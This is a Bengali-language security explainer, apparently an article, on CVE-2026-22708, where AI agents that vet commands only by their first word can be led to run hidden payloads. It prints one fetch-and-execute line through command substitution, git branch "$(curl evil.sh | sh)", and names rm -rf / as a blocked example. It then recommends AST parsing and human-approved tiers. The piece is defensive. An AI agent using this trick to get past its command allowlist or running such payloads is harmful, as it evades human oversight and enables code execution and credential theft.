সম্প্রতি প্রকাশ করা একটি দুর্বলতা, CVE-2026-22708, দেখায় যে যে সকল AI এজেন্ট সাধারণ কমান্ড allowlist-এর ওপর নির্ভর করে, তাদের ক্ষতিকারক কোড (malicious code) চালাতে প্ররোচিত করা সম্ভব। এই ত্রুটির মাধ্যমে একজন আক্রমণকারী একটি আপাতদৃষ্টিতে নিরীহ কমান্ডের ভেতরে পেলোড (payload) লুকিয়ে রাখতে পারে, যা এজেন্টকে হোস্টের ওপর যেকোনো স্ক্রিপ্ট চালানোর সরাসরি পথ করে দেয়।

ডেভেলপমেন্ট বা অপারেশনস স্বয়ংক্রিয় করার জন্য ব্যবহৃত বেশিরভাগ AI-চালিত অ্যাসিস্ট্যান্ট একটি কমান্ডের প্রথম শব্দটি হোয়াইটলিস্টের (whitelist) সাথে যাচাই করার মাধ্যমে কাজ করে। যদি শব্দটি git বা npm-এর মতো কোনো এন্ট্রির সাথে মিলে যায়, তবে অনুরোধটি সরাসরি সম্পন্ন করা হয়। এই “prefix matching” পদ্ধতিটি আকর্ষণীয় কারণ এটি প্রয়োগ করা সহজ এবং মনে হয় এটি এজেন্টকে বিপজ্জনক ইউটিলিটি চালানো থেকে বিরত রাখে।

বাস্তবে এই পদ্ধতিটি একটি নিরাপত্তা ঝুঁকি (security hole)। একজন আক্রমণকারী অনুমোদিত শব্দের পরে একটি কমান্ড সাবস্টিটিউশন (command substitution) বা অন্য কোনো শেল ফিচার যুক্ত করতে পারে, যা হোয়াইটলিস্ট কখনোই শনাক্ত করতে পারবে না। একটি ক্লাসিক উদাহরণ হলো:

git branch "$(curl evil.sh | sh)"

allowlist শুধুমাত্র git দেখতে পায় এবং অনুরোধটি অনুমোদন করে। এরপর শেল $(curl evil.sh | sh) অংশটিকে এক্সপ্যান্ড করে একটি স্ক্রিপ্ট ডাউনলোড করে এবং এজেন্টের প্রিভিলেজ (privileges) ব্যবহার করে সেটি রান করে। এই একই কৌশল যেকোনো হোয়াইটলিস্টেড বাইনারির ক্ষেত্রে কাজ করে যা শেল দ্বারা ব্যাখ্যাযোগ্য আর্গুমেন্ট গ্রহণ করে।

এর প্রভাব অত্যন্ত গুরুতর কারণ AI এজেন্টদের ক্রমশ প্রিভিলেজড এনভায়রনমেন্টের (privileged environments)—যেমন continuous-integration পাইপলাইন, ক্লাউড-হোস্টেড ডেভেলপমেন্ট কন্টেইনার এবং এমনকি ইউজার ওয়ার্কস্টেশনের দায়িত্ব দেওয়া হচ্ছে। যদি একটি এজেন্টকে পেলোড চালাতে প্ররোচিত করা যায়, তবে আক্রমণকারী এজেন্টের সমান অ্যাক্সেস রাইটস (access rights) পেয়ে যায়, যার মধ্যে প্রায়শই সিক্রেট কী (secret keys), ডিপ্লয়মেন্ট ক্রেডেনশিয়াল (deployment credentials) বা আনরেস্ট্রিক্টেড ফাইল সিস্টেম অ্যাক্সেস অন্তর্ভুক্ত থাকে।

কেন সাধারণ allowlist ব্যর্থ হয়

  • পলিসি নয়, শুধুমাত্র স্ট্রিং ম্যাচিং – শুধুমাত্র প্রথম টোকেনটি যাচাই করার ফলে কমান্ড লাইনের গঠন উপেক্ষা করা হয়। এটি আর্গুমেন্টগুলো কীভাবে ব্যাখ্যা করা হচ্ছে বা সেগুলোতে কোনো শেল মেটাক্যারেক্টার (shell metacharacters) আছে কি না, তা বিবেচনা করে না।
  • শেল ফিচারগুলো অত্যন্ত শক্তিশালী – সাবস্টিটিউশন, পাইপলাইন এবং রিডাইরেকশন—এসবই allowlist যাচাইয়ের পরে প্রসেস করা হয়, যা একটি নিরীহ কমান্ডকে পূর্ণাঙ্গ এক্সপ্লয়েটে (exploit) পরিণত করে।
  • কনটেক্সট সচেতনতার অভাব – হোয়াইটলিস্ট একটি নিরাপদ git status এবং একটি বিপজ্জনক git push --force (যা প্রোডাকশন হিস্ট্রি ওভাররাইট করতে পারে) এর মধ্যে পার্থক্য করতে পারে না।

একটি আরও স্থিতিস্থাপক মডেল

CVE-2026-22708-এর বিপরীতে কমিউনিটির প্রতিক্রিয়া হলো সাধারণ স্ট্রিং চেক থেকে সরে এসে কমান্ডগুলোকে একটি Abstract Syntax Tree (AST)-এ পার্স (parse) করা। একটি AST কমান্ডের হায়ারার্কিকাল গঠন প্রকাশ করে, যা এক্সিকিউটেবলকে তার আর্গুমেন্ট এবং যেকোনো শেল কনস্ট্রাক্ট থেকে আলাদা করে। একবার কমান্ডটি ভেঙে ফেলা হলে, একটি পলিসি ইঞ্জিন এটিকে তিনটি ভিন্ন ক্যাটাগরিতে মূল্যায়ন করতে পারে:

  • SAFE – যে কমান্ডগুলো যাচাইকৃত নিয়মের সাথে মিলে যায় এবং কোনো ঝুঁকিপূর্ণ কনস্ট্রাক্ট থাকে না। এজেন্ট এগুলো স্বয়ংক্রিয়ভাবে রান করে। উদাহরণ: git status
  • BLOCKED – যে কমান্ডগুলো বিপজ্জনক হিসেবে পরিচিত প্যাটার্নের সাথে মিলে যায়, যেমন যেগুলি সিক্রেট ফাইল অ্যাক্সেস করে, ডিরেক্টরি মুছে ফেলে বা প্রিভিলেজড স্ক্রিপ্ট কল করে। এজেন্ট এগুলো সাথে সাথে বাতিল করে দেয়। উদাহরণ: rm -rf /
  • UNCERTAIN – যে কমান্ডগুলো নিরাপদ বা ব্লক করা—কোনো একটি ক্যাটাগরিতে স্পষ্টভাবে পড়ে না। এজেন্টকে এগিয়ে যাওয়ার আগে মানুষের কাছ থেকে স্পষ্ট অনুমোদন নিতে হবে। উদাহরণ: git push --force

UNCERTAIN স্তরটি প্রবর্তনের ফলে থ্রেট মডেলটি পরিবর্তিত হয়। প্রতিটি অপরিচিত কমান্ডকে ব্যর্থতা হিসেবে গণ্য করার পরিবর্তে, সিস্টেমটি অনিশ্চয়তাকে একটি নিয়ন্ত্রিত মিথস্ক্রিয়ায় (controlled interaction) রূপান্তরিত করে। অনুমোদন ধাপটি কার্যকর করার একটি ব্যবহারিক উপায় হলো একটি সিঙ্গেল-ইউজ HMAC টোকেন ইস্যু করা, যা ব্যবহারকারীকে এজেন্টের কাছে উপস্থাপন করতে হবে। যেহেতু টোকেনটি ক্রিপ্টোগ্রাফিকভাবে অনুরোধের সাথে যুক্ত থাকে, তাই এজেন্ট সম্মতি জালিয়াতি (forge consent) করতে পারে না।

নিরাপত্তা এবং ব্যবহারযোগ্যতার মধ্যে ভারসাম্য রক্ষা

সমালোচকরা যুক্তি দিতে পারেন যে AST পার্সিং ল্যাটেন্সি (latency) বাড়ায় অথবা এই তিন-স্তরের মডেলটি ব্যবহারকারীদের অসংখ্য অনুমোদনের প্রম্পট দিয়ে ভাসিয়ে দিতে পারে, যা উৎপাদনশীলতা কমিয়ে দেয়। এই উদ্বেগগুলো যৌক্তিক: একটি ত্রুটিপূর্ণ রুল সেট ফলস পজিটিভ (false positives) তৈরি করতে পারে এবং জটিল পার্সিং একটি সাধারণ স্ট্রিং চেকের চেয়ে কম্পিউটেশনালি বেশি ভারী হতে পারে। তবে এর বিকল্প—যেকোনো কোড এক্সিকিউশন করার অনুমতি দেওয়া—অনেক বেশি ব্যয়বহুল। হাইব্রিড পদ্ধতি যা লাইটওয়েট স্যান্ডবক্সিংয়ের (sandboxing) সাথে AST অ্যানালাইসিসকে যুক্ত করে, তা একটি শক্তিশালী পলিসি প্রয়োগ করার পাশাপাশি পারফরম্যান্সের ক্ষতিও কমাতে পারে।

ডেভেলপার এবং এন্টারপ্রাইজগুলোর জন্য ঝুঁকির বিষয়গুলো

  • ডেটা গোপনীয়তা (Data confidentiality) – একটি আক্রান্ত এজেন্ট API কী, পাসওয়ার্ড এবং প্রোপাইটারি কোড (proprietary code) চুরি করতে পারে।
  • সিস্টেম ইন্টিগ্রিটি (System integrity) – ক্ষতিকারক কমান্ড প্রোডাকশন আর্টিফ্যাক্ট পরিবর্তন বা মুছে ফেলতে পারে, রিলিজ রোলব্যাক করতে পারে বা ব্যাকডোর ইনস্টল করতে পারে।
  • রেগুলেটরি এক্সপোজার (Regulatory exposure) – অনিরাপদ অটোমেশনের কারণে সৃষ্ট ডেটা লঙ্ঘন (breach) কমপ্লায়েন্স পেনাল্টি বা জরিমানার কারণ হতে পারে, বিশেষ করে কঠোর ডেটা-হ্যান্ডলিং নিয়ম আছে এমন সেক্টরগুলোতে।

যেসব প্রজেক্ট এই ঝুঁকিগুলোকে উপেক্ষা করে, তারা প্রায়শই অতিরিক্ত কঠোর নিয়মের মাধ্যমে এজেন্টকে অকার্যকর করে ফেলে অথবা একে শোষণের সুযোগ করে দেয়। একটি মধ্যপন্থা—অর্থাৎ স্পষ্ট SAFE, BLOCKED এবং UNCERTAIN গ্রুপ নির্ধারণ করা—নিরাপত্তা এবং উপযোগিতা উভয়ের জন্যই একটি বাস্তবসম্মত পথ প্রদান করে।

পরবর্তীতে যা লক্ষ্য রাখতে হবে

  • Tooling – সাধারণ শেল (shell) এবং বিল্ড পাইপলাইনের জন্য AST-ভিত্তিক পার্সার এবং তৈরি করা পলিসি টেমপ্লেটসহ ওপেন-সোর্স লাইব্রেরি আসার সম্ভাবনা রয়েছে।
  • Standards – কন্টেইনার রানটাইম যেভাবে seccomp প্রোফাইলগুলোকে মানসম্মত করেছে, ঠিক সেভাবে ইন্ডাস্ট্রি গ্রুপগুলো সাধারণ ডেভেলপমেন্ট কমান্ডের জন্য বেসলাইন রুল সেট প্রস্তাব করতে পারে।
  • Audits – সিকিউরিটি টিমগুলো সম্ভবত তাদের CI/CD অডিট পাইপলাইনে “allowlist sanity checks” যুক্ত করবে, যা শুধুমাত্র প্রিফিক্স ম্যাচিংয়ের (prefix matching) ওপর নির্ভর করে এমন যেকোনো এজেন্ট কনফিগারেশনকে চিহ্নিত করবে।

সারসংক্ষেপ

যদি আপনার AI এজেন্ট এখনও শুধুমাত্র একটি কমান্ডের প্রথম শব্দটি দেখে সিদ্ধান্ত নেয় যে কী চালাতে হবে, তবে এটি CVE-2026-22708-এ প্রদর্শিত দুর্বলতার সম্মুখীন হতে পারে। সেই পদ্ধতির পরিবর্তে AST-চালিত পার্সিং এবং একটি তিন-স্তরীয় পলিসি ব্যবহার করুন যা অস্পষ্ট কাজের ক্ষেত্রে মানুষের নিশ্চিতকরণ বাধ্যতামূলক করে। এই অতিরিক্ত ধাপটি কিছুটা ঝামেলার মনে হতে পারে, কিন্তু এটি একটি অন্ধবিন্দুকে (blind spot) একটি যাচাইযোগ্য নিয়ন্ত্রণ বিন্দুতে রূপান্তরিত করে, যা আপনার কোড এবং অবকাঠামো উভয়কেই রক্ষা করে।